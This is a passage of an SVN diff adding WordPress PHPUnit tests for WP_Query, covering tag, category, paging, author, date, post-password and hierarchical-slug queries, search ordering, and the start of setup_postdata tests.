+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'cat-b', 'post_date' => '2009-05-01 00:00:00', 'post_category' => array( $cat_b ) ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'cat-c', 'post_date' => '2009-06-01 00:00:00', 'post_category' => array( $cat_c ) ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'lorem-ipsum', 'post_date' => '2009-07-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'comment-test', 'post_date' => '2009-08-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'one-trackback', 'post_date' => '2009-09-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'many-trackbacks', 'post_date' => '2009-10-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'no-comments', 'post_date' => '2009-10-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'one-comment', 'post_date' => '2009-11-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'contributor-post-approved', 'post_date' => '2009-12-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'embedded-video', 'post_date' => '2010-01-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'simple-markup-test', 'post_date' => '2010-02-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'raw-html-code', 'post_date' => '2010-03-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'tags-a-b-c', 'tags_input' => array( 'tag-a', 'tag-b', 'tag-c' ), 'post_date' => '2010-04-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'tag-a', 'tags_input' => array( 'tag-a' ), 'post_date' => '2010-05-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'tag-b', 'tags_input' => array( 'tag-b' ), 'post_date' => '2010-06-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'tag-c', 'tags_input' => array( 'tag-c' ), 'post_date' => '2010-07-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'tags-a-and-b', 'tags_input' => array( 'tag-a', 'tag-b' ), 'post_date' => '2010-08-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'tags-b-and-c', 'tags_input' => array( 'tag-b', 'tag-c' ), 'post_date' => '2010-09-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'tags-a-and-c', 'tags_input' => array( 'tag-a', 'tag-c' ), 'post_date' => '2010-10-01 00:00:00' ) );
+
+		self::$post_ids[] = self::$parent_one = $factory->post->create( array( 'post_title' => 'parent-one', 'post_date' => '2007-01-01 00:00:00' ) );
+		self::$post_ids[] = self::$parent_two = $factory->post->create( array( 'post_title' => 'parent-two', 'post_date' => '2007-01-01 00:00:00' ) );
+		self::$post_ids[] = self::$parent_three = $factory->post->create( array( 'post_title' => 'parent-three', 'post_date' => '2007-01-01 00:00:00' ) );
+		self::$post_ids[] = self::$child_one = $factory->post->create( array( 'post_title' => 'child-one', 'post_parent' => self::$parent_one, 'post_date' => '2007-01-01 00:00:01' ) );
+		self::$post_ids[] = self::$child_two = $factory->post->create( array( 'post_title' => 'child-two', 'post_parent' => self::$parent_one, 'post_date' => '2007-01-01 00:00:02' ) );
+		self::$post_ids[] = self::$child_three = $factory->post->create( array( 'post_title' => 'child-three', 'post_parent' => self::$parent_two, 'post_date' => '2007-01-01 00:00:03' ) );
+		self::$post_ids[] = self::$child_four = $factory->post->create( array( 'post_title' => 'child-four', 'post_parent' => self::$parent_two, 'post_date' => '2007-01-01 00:00:04' ) );
+
+		self::commit_transaction();
+	}
+
+	public static function tearDownAfterClass() {
+		foreach ( self::$cat_ids as $cat_id ) {
+			wp_delete_term( $cat_id, 'category' );
+		}
+
+		foreach ( self::$tag_ids as $tag_id ) {
+			wp_delete_term( $tag_id, 'post_tag' );
+		}
+
+		foreach ( self::$post_ids as $post_id ) {
+			wp_delete_post( $post_id, true );
+		}
+
+		self::commit_transaction();
+	}
+
+	function setUp() {
+		parent::setUp();
+
+		unset( $this->q );
+		$this->q = new WP_Query();
+	}
+
+	function test_query_default() {
+		$posts = $this->q->query('');
+
+		// the output should be the most recent 10 posts as listed here
+		$expected = array(
+			0 => 'tags-a-and-c',
+			1 => 'tags-b-and-c',
+			2 => 'tags-a-and-b',
+			3 => 'tag-c',
+			4 => 'tag-b',
+			5 => 'tag-a',
+			6 => 'tags-a-b-c',
+			7 => 'raw-html-code',
+			8 => 'simple-markup-test',
+			9 => 'embedded-video',
+		);
+
+		$this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+	}
+
+	function test_query_tag_a() {
+		$posts = $this->q->query('tag=tag-a');
+
+		// there are 4 posts with Tag A
+		$this->assertCount( 4, $posts );
+		$this->assertEquals( 'tags-a-and-c', $posts[0]->post_name );
+		$this->assertEquals( 'tags-a-and-b', $posts[1]->post_name );
+		$this->assertEquals( 'tag-a', $posts[2]->post_name );
+		$this->assertEquals( 'tags-a-b-c', $posts[3]->post_name );
+	}
+
+	function test_query_tag_b() {
+		$posts = $this->q->query('tag=tag-b');
+
+		// there are 4 posts with Tag A
+		$this->assertCount( 4, $posts );
+		$this->assertEquals( 'tags-b-and-c', $posts[0]->post_name );
+		$this->assertEquals( 'tags-a-and-b', $posts[1]->post_name );
+		$this->assertEquals( 'tag-b', $posts[2]->post_name );
+		$this->assertEquals( 'tags-a-b-c', $posts[3]->post_name );
+	}
+
+	/**
+	 * @ticket 21779
+	 */
+	function test_query_tag_nun() {
+		$posts = $this->q->query('tag=tag-נ');
+
+		// there is 1 post with Tag נ
+		$this->assertCount( 1, $posts );
+		$this->assertEquals( 'tag-%d7%a0', $posts[0]->post_name );
+	}
+
+	function test_query_tag_id() {
+		$tag = tag_exists('tag-a');
+		$posts = $this->q->query( "tag_id=" . $tag['term_id'] );
+
+		// there are 4 posts with Tag A
+		$this->assertCount( 4, $posts );
+		$this->assertEquals( 'tags-a-and-c', $posts[0]->post_name );
+		$this->assertEquals( 'tags-a-and-b', $posts[1]->post_name );
+		$this->assertEquals( 'tag-a', $posts[2]->post_name );
+		$this->assertEquals( 'tags-a-b-c', $posts[3]->post_name );
+	}
+
+	function test_query_tag_slug__in() {
+		$posts = $this->q->query("tag_slug__in[]=tag-b&tag_slug__in[]=tag-c");
+
+		// there are 4 posts with either Tag B or Tag C
+		$this->assertCount( 6, $posts );
+		$this->assertEquals( 'tags-a-and-c', $posts[0]->post_name );
+		$this->assertEquals( 'tags-b-and-c', $posts[1]->post_name );
+		$this->assertEquals( 'tags-a-and-b', $posts[2]->post_name );
+		$this->assertEquals( 'tag-c', $posts[3]->post_name );
+		$this->assertEquals( 'tag-b', $posts[4]->post_name );
+		$this->assertEquals( 'tags-a-b-c', $posts[5]->post_name );
+	}
+
+
+	function test_query_tag__in() {
+		$tag_a = tag_exists('tag-a');
+		$tag_b = tag_exists('tag-b');
+		$posts = $this->q->query( "tag__in[]=". $tag_a['term_id'] . "&tag__in[]=" . $tag_b['term_id'] );
+
+		// there are 6 posts with either Tag A or Tag B
+		$this->assertCount( 6, $posts );
+		$this->assertEquals( 'tags-a-and-c', $posts[0]->post_name );
+		$this->assertEquals( 'tags-b-and-c', $posts[1]->post_name );
+		$this->assertEquals( 'tags-a-and-b', $posts[2]->post_name );
+		$this->assertEquals( 'tag-b', $posts[3]->post_name );
+		$this->assertEquals( 'tag-a', $posts[4]->post_name );
+		$this->assertEquals( 'tags-a-b-c', $posts[5]->post_name );
+	}
+
+	function test_query_tag__not_in() {
+		$tag_a = tag_exists('tag-a');
+		$posts = $this->q->query( "tag__not_in[]=" . $tag_a['term_id'] );
+
+		// the most recent 10 posts with Tag A excluded
+		// (note the different between this and test_query_default)
+		$expected = array (
+			0 => 'tags-b-and-c',
+			1 => 'tag-c',
+			2 => 'tag-b',
+			3 => 'raw-html-code',
+			4 => 'simple-markup-test',
+			5 => 'embedded-video',
+			6 => 'contributor-post-approved',
+			7 => 'one-comment',
+			8 => 'no-comments',
+			9 => 'many-trackbacks',
+		);
+
+		$this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+	}
+
+	function test_query_tag__in_but__not_in() {
+		$tag_a = tag_exists('tag-a');
+		$tag_b = tag_exists('tag-b');
+		$posts = $this->q->query( "tag__in[]=" . $tag_a['term_id'] . "&tag__not_in[]=" . $tag_b['term_id'] );
+
+		// there are 4 posts with Tag A, only 2 when we exclude Tag B
+		$this->assertCount( 2, $posts );
+		$this->assertEquals( 'tags-a-and-c', $posts[0]->post_name );
+		$this->assertEquals( 'tag-a', $posts[1]->post_name );
+	}
+
+
+
+	function test_query_category_name() {
+		$posts = $this->q->query('category_name=cat-a');
+
+		// there are 4 posts with Cat A, we'll check for them by name
+		$this->assertCount( 4, $posts );
+		$this->assertEquals( 'cat-a', $posts[0]->post_name );
+		$this->assertEquals( 'cats-a-and-c', $posts[1]->post_name );
+		$this->assertEquals( 'cats-a-and-b', $posts[2]->post_name );
+		$this->assertEquals( 'cats-a-b-c', $posts[3]->post_name );
+	}
+
+	function test_query_cat() {
+		$cat = category_exists('cat-b');
+		$posts = $this->q->query("cat=$cat");
+
+		// there are 4 posts with Cat B
+		$this->assertCount( 4, $posts );
+		$this->assertEquals( 'cat-b', $posts[0]->post_name );
+		$this->assertEquals( 'cats-b-and-c', $posts[1]->post_name );
+		$this->assertEquals( 'cats-a-and-b', $posts[2]->post_name );
+		$this->assertEquals( 'cats-a-b-c', $posts[3]->post_name );
+	}
+
+	function test_query_posts_per_page() {
+		$posts = $this->q->query('posts_per_page=5');
+
+		$expected = array (
+			0 => 'tags-a-and-c',
+			1 => 'tags-b-and-c',
+			2 => 'tags-a-and-b',
+			3 => 'tag-c',
+			4 => 'tag-b',
+		);
+
+		$this->assertCount( 5, $posts );
+		$this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+	}
+
+	function test_query_offset() {
+		$posts = $this->q->query('offset=2');
+
+		$expected = array (
+			0 => 'tags-a-and-b',
+			1 => 'tag-c',
+			2 => 'tag-b',
+			3 => 'tag-a',
+			4 => 'tags-a-b-c',
+			5 => 'raw-html-code',
+			6 => 'simple-markup-test',
+			7 => 'embedded-video',
+			8 => 'contributor-post-approved',
+			9 => 'one-comment',
+		);
+
+		$this->assertCount( 10, $posts );
+		$this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+	}
+
+	function test_query_paged() {
+		$posts = $this->q->query('paged=2');
+
+		$expected = array (
+			0 => 'contributor-post-approved',
+			1 => 'one-comment',
+			2 => 'no-comments',
+			3 => 'many-trackbacks',
+			4 => 'one-trackback',
+			5 => 'comment-test',
+			6 => 'lorem-ipsum',
+			7 => 'cat-c',
+			8 => 'cat-b',
+			9 => 'cat-a',
+		);
+
+		$this->assertCount( 10, $posts );
+		$this->assertTrue( $this->q->is_paged() );
+		$this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+	}
+
+	function test_query_paged_and_posts_per_page() {
+		$posts = $this->q->query('paged=4&posts_per_page=4');
+
+		$expected = array (
+			0 => 'no-comments',
+			1 => 'many-trackbacks',
+			2 => 'one-trackback',
+			3 => 'comment-test',
+		);
+
+		$this->assertCount( 4, $posts );
+		$this->assertTrue( $this->q->is_paged() );
+		$this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+	}
+
+	/**
+	 * @ticket 11056
+	 */
+	function test_query_post_parent__in() {
+		// Query for first parent's children
+		$posts = $this->q->query( array(
+			'post_parent__in' => array( self::$parent_one ),
+			'orderby' => 'date',
+			'order' => 'asc',
+		) );
+
+		$this->assertEquals( array(
+			'child-one',
+			'child-two',
+		), wp_list_pluck( $posts, 'post_title' ) );
+
+		// Second parent's children
+		$posts = $this->q->query( array(
+			'post_parent__in' => array( self::$parent_two ),
+			'orderby' => 'date',
+			'order' => 'asc',
+		) );
+
+		$this->assertEquals( array(
+			'child-three',
+			'child-four',
+		), wp_list_pluck( $posts, 'post_title' ) );
+
+		// Both first and second parent's children
+		$posts = $this->q->query( array(
+			'post_parent__in' => array( self::$parent_one, self::$parent_two ),
+			'orderby' => 'date',
+			'order' => 'asc',
+		) );
+
+		$this->assertEquals( array(
+			'child-one',
+			'child-two',
+			'child-three',
+			'child-four',
+		), wp_list_pluck( $posts, 'post_title' ) );
+
+		// Third parent's children
+		$posts = $this->q->query( array(
+			'post_parent__in' => array( self::$parent_three ),
+		) );
+
+		$this->assertEquals( array(), wp_list_pluck( $posts, 'post_title' ) );
+	}
+
+	/**
+	 * @ticket 11056
+	 */
+	function test_query_orderby_post_parent__in() {
+		$posts = $this->q->query( array(
+			'post_parent__in' => array( self::$parent_two, self::$parent_one ),
+			'orderby' => 'post_parent__in',
+			'order' => 'asc',
+		) );
+
+		$this->assertEquals( array(
+			'child-three',
+			'child-four',
+			'child-one',
+			'child-two',
+		), wp_list_pluck( $posts, 'post_title' ) );
+	}
+
+	/**
+	 * @ticket 27252
+	 */
+	function test_query_fields_integers() {
+
+		$parents = array(
+			(int) self::$parent_one,
+			(int) self::$parent_two
+		);
+		$posts1 = $this->q->query( array(
+			'post__in'  => $parents,
+			'fields'    => 'ids',
+			'orderby'   => 'post__in',
+		) );
+
+		$this->assertSame( $parents, $posts1 );
+
+		$children = array(
+			(int) self::$child_one => (int) self::$parent_one,
+			(int) self::$child_two => (int) self::$parent_one
+		);
+
+		$posts2 = $this->q->query( array(
+			'post__in'  => array_keys( $children ),
+			'fields'    => 'id=>parent',
+			'orderby'   => 'post__in',
+		) );
+
+		$this->assertSame( $children, $posts2 );
+
+	}
+
+	/**
+	 * @ticket 28099
+	 */
+	function test_empty_post__in() {
+		$posts1 = $this->q->query( array() );
+		$this->assertNotEmpty( $posts1 );
+		$posts2 = $this->q->query( array( 'post__in' => array() ) );
+		$this->assertNotEmpty( $posts2 );
+		$posts3 = $this->q->query( array( 'post_parent__in' => array() ) );
+		$this->assertNotEmpty( $posts3 );
+	}
+
+	/**
+	 * @ticket 19198
+	 */
+	function test_exclude_from_search_empty() {
+		global $wp_post_types;
+		foreach ( array_keys( $wp_post_types ) as $slug )
+			$wp_post_types[$slug]->exclude_from_search = true;
+
+		$posts = $this->q->query( array( 'post_type' => 'any' ) );
+
+		$this->assertEmpty( $posts );
+		$this->assertRegExp( '#AND 1=0#', $this->q->request );
+
+		foreach ( array_keys( $wp_post_types ) as $slug )
+			$wp_post_types[$slug]->exclude_from_search = false;
+
+		$posts2 = $this->q->query( array( 'post_type' => 'any' ) );
+
+		$this->assertNotEmpty( $posts2 );
+		$this->assertNotRegExp( '#AND 1=0#', $this->q->request );
+	}
+
+	/**
+	 * @ticket 16854
+	 */
+	function test_query_author_vars() {
+		$author_1 = $this->factory->user->create( array( 'user_login' => 'admin1', 'user_pass' => rand_str(), 'role' => 'author' ) );
+		$post_1 = $this->factory->post->create( array( 'post_title' => rand_str(), 'post_author' => $author_1, 'post_date' => '2007-01-01 00:00:00' ) );
+
+		$author_2 = $this->factory->user->create( array( 'user_login' => rand_str(), 'user_pass' => rand_str(), 'role' => 'author' ) );
+		$post_2 = $this->factory->post->create( array( 'post_title' => rand_str(), 'post_author' => $author_2, 'post_date' => '2007-01-01 00:00:00' ) );
+
+		$author_3 = $this->factory->user->create( array( 'user_login' => rand_str(), 'user_pass' => rand_str(), 'role' => 'author' ) );
+		$post_3 = $this->factory->post->create( array( 'post_title' => rand_str(), 'post_author' => $author_3, 'post_date' => '2007-01-01 00:00:00' ) );
+
+		$author_4 = $this->factory->user->create( array( 'user_login' => rand_str(), 'user_pass' => rand_str(), 'role' => 'author' ) );
+		$post_4 = $this->factory->post->create( array( 'post_title' => rand_str(), 'post_author' => $author_4, 'post_date' => '2007-01-01 00:00:00' ) );
+
+		$posts = $this->q->query( array(
+			'author' => '',
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_1, $author_2, $author_3, $author_4 ), $author_ids );
+
+		$posts = $this->q->query( array(
+			'author' => 0,
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_1, $author_2, $author_3, $author_4 ), $author_ids );
+
+		$posts = $this->q->query( array(
+			'author' => '0',
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_1, $author_2, $author_3, $author_4 ), $author_ids );
+
+		$posts = $this->q->query( array(
+			'author' => $author_1,
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_1 ), $author_ids );
+
+		$posts = $this->q->query( array(
+			'author' => "$author_1",
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_1 ), $author_ids );
+
+		$posts = $this->q->query( array(
+			'author' => "{$author_1},{$author_2}",
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_1, $author_2 ), $author_ids );
+
+		$posts = $this->q->query( array(
+			'author' => "-{$author_1},{$author_2}",
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_2, $author_3, $author_4 ), $author_ids );
+
+		$posts = $this->q->query( array(
+			'author' => "{$author_1},-{$author_2}",
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_1, $author_3, $author_4 ), $author_ids );
+
+		$posts = $this->q->query( array(
+			'author' => "-{$author_1},-{$author_2}",
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_3, $author_4 ), $author_ids );
+
+		$posts = $this->q->query( array(
+			'author__in' => array( $author_1, $author_2 ),
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_1, $author_2 ), $author_ids );
+
+		$posts = $this->q->query( array( 'author__in' => array() ) );
+		$this->assertNotEmpty( $posts );
+
+		$posts = $this->q->query( array(
+			'author__not_in' => array( $author_1, $author_2 ),
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_3, $author_4 ), $author_ids );
+
+		$posts = $this->q->query( array(
+			'author_name' => 'admin1',
+			'post__in' => array( $post_1, $post_2, $post_3, $post_4 )
+		) );
+		$author_ids = array_unique( wp_list_pluck( $posts, 'post_author' ) );
+		$this->assertEqualSets( array( $author_1 ), $author_ids );
+	}
+
+	/**
+	 * @ticket 10935
+	 */
+	function test_query_is_date() {
+		$this->q->query( array(
+			'year' => '2007',
+			'monthnum' => '01',
+			'day' => '01',
+		) );
+
+		$this->assertTrue( $this->q->is_date );
+		$this->assertTrue( $this->q->is_day );
+		$this->assertFalse( $this->q->is_month );
+		$this->assertFalse( $this->q->is_year );
+
+		$this->q->query( array(
+			'year' => '2007',
+			'monthnum' => '01',
+		) );
+
+		$this->assertTrue( $this->q->is_date );
+		$this->assertFalse( $this->q->is_day );
+		$this->assertTrue( $this->q->is_month );
+		$this->assertFalse( $this->q->is_year );
+
+		$this->q->query( array(
+			'year' => '2007',
+		) );
+
+		$this->assertTrue( $this->q->is_date );
+		$this->assertFalse( $this->q->is_day );
+		$this->assertFalse( $this->q->is_month );
+		$this->assertTrue( $this->q->is_year );
+	}
+
+	/**
+	 * @ticket 10935
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_query_is_date_with_bad_date() {
+		$this->q->query( array(
+			'year' => '2007',
+			'monthnum' => '01',
+			'day' => '50',
+		) );
+
+		$this->assertTrue( $this->q->is_404 );
+		$this->assertFalse( $this->q->is_date );
+		$this->assertFalse( $this->q->is_day );
+		$this->assertFalse( $this->q->is_month );
+		$this->assertFalse( $this->q->is_year );
+	}
+
+	function test_perm_with_status_array() {
+		global $wpdb;
+		$this->q->query( array( 'perm' => 'readable', 'post_status' => array( 'publish', 'private' ) ) );
+		$this->assertTrue( $this->q->have_posts() );
+		$this->assertContains( "(({$wpdb->posts}.post_status = 'publish') OR ({$wpdb->posts}.post_author = 0 AND ({$wpdb->posts}.post_status = 'private')))",
+			$this->q->request
+		);
+		$this->assertNotContains( "({$wpdb->posts}.post_status = 'publish') AND", $this->q->request );
+	}
+
+	/**
+	 * @ticket 20308
+	 */
+	function test_post_password() {
+		$one   = (string) $this->factory->post->create( array( 'post_password' => '' ) );
+		$two   = (string) $this->factory->post->create( array( 'post_password' => 'burrito' ) );
+		$three = (string) $this->factory->post->create( array( 'post_password' => 'burrito' ) );
+
+		$args = array( 'post__in' => array( $one, $two, $three ), 'fields' => 'ids' );
+
+		$result1 = $this->q->query( array_merge( $args, array( 'has_password' => true ) ) );
+		$this->assertEqualSets( array( $two, $three ), $result1 );
+		$result2 = $this->q->query( array_merge( $args, array( 'has_password' => false ) ) );
+		$this->assertEquals( array( $one ), $result2 );
+
+		// This is equivalent to not passing it at all.
+		$result3 = $this->q->query( array_merge( $args, array( 'has_password' => null ) ) );
+		$this->assertEqualSets( array( $one, $two, $three ), $result3 );
+
+		// If both arguments are passed, only post_password is considered.
+		$result4 = $this->q->query( array_merge( $args, array( 'has_password' => true, 'post_password' => '' ) ) );
+		$this->assertEquals( array( $one ), $result4 );
+		$result5 = $this->q->query( array_merge( $args, array( 'has_password' => false, 'post_password' => '' ) ) );
+		$this->assertEquals( array( $one ), $result5 );
+		$result6 = $this->q->query( array_merge( $args, array( 'has_password' => null, 'post_password' => '' ) ) );
+		$this->assertEquals( array( $one ), $result6 );
+
+		$result7 = $this->q->query( array_merge( $args, array( 'has_password' => true, 'post_password' => 'burrito' ) ) );
+		$this->assertEqualSets( array( $two, $three ), $result7 );
+		$result8 = $this->q->query( array_merge( $args, array( 'has_password' => false, 'post_password' => 'burrito' ) ) );
+		$this->assertEqualSets( array( $two, $three ), $result8 );
+		$result9 = $this->q->query( array_merge( $args, array( 'has_password' => null, 'post_password' => 'burrito' ) ) );
+		$this->assertEqualSets( array( $two, $three ), $result9 );
+
+		$result10 = $this->q->query( array_merge( $args, array( 'post_password' => '' ) ) );
+		$this->assertEquals( array( $one ), $result10 );
+		$result11 = $this->q->query( array_merge( $args, array( 'post_password' => 'burrito' ) ) );
+		$this->assertEqualSets( array( $two, $three ), $result11 );
+	}
+
+	/**
+	 * @ticket 28611
+	 */
+	function test_duplicate_slug_in_hierarchical_post_type() {
+		register_post_type( 'handbook', array( 'hierarchical' => true ) );
+
+		$post_1 = $this->factory->post->create( array( 'post_title' => 'Getting Started', 'post_type' => 'handbook' ) );
+		$post_2 = $this->factory->post->create( array( 'post_title' => 'Contributing to the WordPress Codex', 'post_type' => 'handbook' ) );
+		$post_3 = $this->factory->post->create( array( 'post_title' => 'Getting Started', 'post_parent' => $post_2, 'post_type' => 'handbook' ) );
+
+		$result = $this->q->query( array( 'handbook' => 'getting-started', 'post_type' => 'handbook' ) );
+		$this->assertCount( 1, $result );
+	}
+
+	/**
+	 * @ticket 29615
+	 */
+	function test_child_post_in_hierarchical_post_type_with_default_permalinks() {
+		global $wp_rewrite;
+
+		$old_permastruct = get_option( 'permalink_structure' );
+		$wp_rewrite->set_permalink_structure( '' );
+		$wp_rewrite->flush_rules();
+
+		register_post_type( 'handbook', array( 'hierarchical' => true ) );
+
+		$post_1 = $this->factory->post->create( array( 'post_title' => 'Contributing to the WordPress Codex', 'post_type' => 'handbook' ) );
+		$post_2 = $this->factory->post->create( array( 'post_title' => 'Getting Started', 'post_parent' => $post_1, 'post_type' => 'handbook' ) );
+
+		$this->assertContains( 'contributing-to-the-wordpress-codex/getting-started', get_permalink( $post_2 ) );
+
+		$result = $this->q->query( array( 'handbook' => 'contributing-to-the-wordpress-codex/getting-started', 'post_type' => 'handbook' ) );
+		$this->assertCount( 1, $result );
+
+		$wp_rewrite->set_permalink_structure( $old_permastruct );
+		$wp_rewrite->flush_rules();
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/query/search.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/query/search.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/query/search.php	(revision 33402)
@@ -0,0 +1,61 @@
+<?php
+/**
+ *
+ * @group query
+ * @group search
+ */
+class Tests_Query_Search extends WP_UnitTestCase {
+	protected $q;
+	protected $post_type;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->post_type = rand_str( 12 );
+		register_post_type( $this->post_type );
+
+		$this->q = new WP_Query();
+	}
+
+	function tearDown() {
+		_unregister_post_type( $this->post_type );
+		unset( $this->q );
+
+		parent::tearDown();
+	}
+
+	function get_search_results( $terms ) {
+		$args = http_build_query( array( 's' => $terms, 'post_type' => $this->post_type ) );
+		return $this->q->query( $args );
+	}
+
+	function test_search_order_title_relevance() {
+		foreach ( range( 1, 7 ) as $i )
+			$this->factory->post->create( array( 'post_content' => $i . rand_str() . ' about', 'post_type' => $this->post_type ) );
+		$post_id = $this->factory->post->create( array( 'post_title' => 'About', 'post_type' => $this->post_type ) );
+
+		$posts = $this->get_search_results( 'About' );
+		$this->assertEquals( $post_id, reset( $posts )->ID );
+	}
+
+	function test_search_terms_query_var() {
+		$terms = 'This is a search term';
+		$query = new WP_Query( array( 's' => 'This is a search term' ) );
+		$this->assertNotEquals( explode( ' ', $terms ), $query->get( 'search_terms' ) );
+		$this->assertEquals( array( 'search', 'term' ), $query->get( 'search_terms' ) );
+	}
+
+	function test_filter_stopwords() {
+		$terms = 'This is a search term';
+		add_filter( 'wp_search_stopwords', array( $this, 'filter_wp_search_stopwords' ) );
+		$query = new WP_Query( array( 's' => $terms ) );
+		remove_filter( 'wp_search_stopwords', array( $this, 'filter_wp_search_stopwords' ) );
+
+		$this->assertNotEquals( array( 'search', 'term' ), $query->get( 'search_terms' ) );
+		$this->assertEquals( array( 'This', 'is', 'search', 'term' ), $query->get( 'search_terms' ) );
+	}
+
+	function filter_wp_search_stopwords() {
+		return array();
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/query/setupPostdata.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/query/setupPostdata.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/query/setupPostdata.php	(revision 33402)
@@ -0,0 +1,363 @@
+<?php
+
+/**
+ * @group query
+ * @covers setup_postdata
+ */
+class Tests_Query_SetupPostdata extends WP_UnitTestCase {
+	protected $global_keys = array( 'id', 'authordata', 'currentday', 'currentmonth', 'page', 'pages', 'multipage', 'more', 'numpages' );
+
+	protected $global_data = array();
+
+	public function setUp() {
+		parent::setUp();
+		return;
+
+		foreach ( $this->global_keys as $global_key ) {
+			if ( isset( $GLOBALS[ $global_key ] ) ) {
+				$this->global_data[ $global_key ] = $GLOBALS[ $global_key ];
+				unset( $GLOBALS[ $global_key ] );
+			} else {
+				$this->global_data[ $global_key ] = null;
+			}
+		}
+	}
+
+	public function tearDown() {
+		parent::tearDown();
+		return;
+
+		foreach ( $this->global_keys as $global_key ) {
+			if ( ! is_null( $this->global_data[ $global_key ] ) ) {
+				$GLOBALS[ $global_key ] = $this->global_data[ $global_key ];
+			} else {
+				unset( $GLOBALS[ $global_key ] );
+			}
+		}
+
+		$this->global_data = array();
+	}
+
+	public function test_id() {
+		$p = $this->factory->post->create_and_get();
+		setup_postdata( $p );
+
+		$this->assertNotEmpty( $p->ID );
+		$this->assertSame( $p->ID, $GLOBALS['id'] );
+	}
+
+	public function test_authordata() {
+		$u = $this->factory->user->create_and_get();
+		$p = $this->factory->post->create_and_get( array(
+			'post_author' => $u->ID,
+		) );
+		setup_postdata( $p );
+
+		$this->assertNotEmpty( $GLOBALS['authordata'] );
+		$this->assertEquals( $u, $GLOBALS['authordata'] );
+	}
+
+	public function test_currentday() {
+		$p = $this->factory->post->create_and_get( array(
+			'post_date' => '1980-09-09 06:30:00',
+		) );
+		setup_postdata( $p );
+
+		$this->assertSame( '09.09.80', $GLOBALS['currentday'] );
+	}
+
+	public function test_currentmonth() {
+		$p = $this->factory->post->create_and_get( array(
+			'post_date' => '1980-09-09 06:30:00',
+		) );
+		setup_postdata( $p );
+
+		$this->assertSame( '09', $GLOBALS['currentmonth'] );
+	}
+
+	public function test_secondary_query_post_vars() {
+		$users = $this->factory->user->create_many( 2 );
+
+		$post1 = $this->factory->post->create_and_get( array(
+			'post_author' => $users[0],
+			'post_date' => '2012-02-02 02:00:00',
+		) );
+
+		$post2 = $this->factory->post->create_and_get( array(
+			'post_author' => $users[1],
+			'post_date' => '2013-03-03 03:00:00',
+		) );
+
+		$this->go_to( get_permalink( $post1 ) );
+		setup_postdata( $post1 );
+
+		// Main loop.
+		$this->assertSame( $post1->ID, $GLOBALS['id'] );
